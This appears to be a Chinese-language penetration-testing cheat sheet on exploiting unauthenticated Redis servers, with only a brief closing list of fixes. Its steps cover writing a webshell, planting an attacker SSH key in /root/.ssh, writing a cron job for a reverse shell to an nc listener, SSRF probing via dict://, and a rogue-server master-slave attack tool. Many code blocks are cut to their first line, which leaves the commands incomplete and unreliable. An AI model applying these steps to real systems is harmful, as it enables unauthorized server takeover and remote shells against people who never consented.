redis未授权访问
利用条件
redis 绑定端口 6379,且任意IP能访问,无密码直接登录 redis,登录需要在本地安装redis
本地安装 redis
1 | wget http://download.redis.io/releases/redis-2.8.17.tar.gz |
测试未授权访问
1 | redis-cli -h 目标IP -p 6379 |
redis 写入 webshell
利用条件
存在未授权访问漏洞,并登录redis,需要知道 web 服务器目录,并有增删改查的权限
web服务器目录,需要自己根据获取路径更改
1 | redis-cli -h 目标IP -p 6379 |
redis 写入 SSH
利用条件
存在未授权访问漏洞,并登录redis,.ssh目录有写入的权限
原理
原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key。
攻击机
生成 SSH 密钥,导入key.txt,再把key.txt写入redis 服务器中
1 | ssh-keygen -t rsa |
登录 redis 写入ssh,文件名为 auth_keys
1 | redis-cli -h 目标IP |
测试登录
1 | ssh 目标IP |
redis 写入计划任务 获取shell
数据库中插入一条数据,将计划任务的内容作为value,key值随意,然后通过修改数据库的默认路径为目标主机计划任务的路径,把缓冲的数据保存在文件里,这样就可以在服务器端成功写入一个计划任务进行反弹shell
攻击机上监听
1 | nc -lvnp 5555 |
登录目标网站
根据不同类型的Linux需要更改路径
Centos的定时任务文件在
1 | /var/spool/cron/ |
Ubuntu定时任务文件在
1 | /var/spool/cron/crontabs/ |
1 | redis-cli -h 目标IP |
稍等片刻,即可反弹
修复
密码验证
降权运⾏
限制 ip / 修改端⼝
https://www.runoob.com/redis/redis-install.html
SSRF利用Redis 写shell
不一定是ssrf 也可以是 spring 之类的,只要能获取到redis账号密码就行。
SSRF 获取真实IP
vps 监听
1 | nc -lvvp 1234 |
ssrf 漏洞利用点请求服务器
1 | url=http://127.0.0.1:1234 |
去服务器上看可以看到真实IP
利用dict探测redis
1 | url=dict://127.0.0.1:6379 |
发现开放 redis 服务
获取网站绝对路径如果是 可以根据网站特性获取
1 | /www/wwwroot/hx4_triangle/application |
redis 利用主从复制纯净文件
redis服务器写入shell
主服务器搭建
1 | sudo yum install epel-release |
写shell
本地redis 写入
1 | flushall |
ssrf目标服务器写入
1 | config:set:dir:/www/wwwroot/runtime/ |
蚁剑连接
使用redis利用工具
vps 下载利用工具
1 | git clone https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server.git |
1 | cd Awsome-Redis-Rogue-Server/ |
用dict写shell
1 | config get dir |
反弹shell
1 | python3 redis_rogue_server.py -v -path module.so |
1 | # 查看当前redis的相关配置 |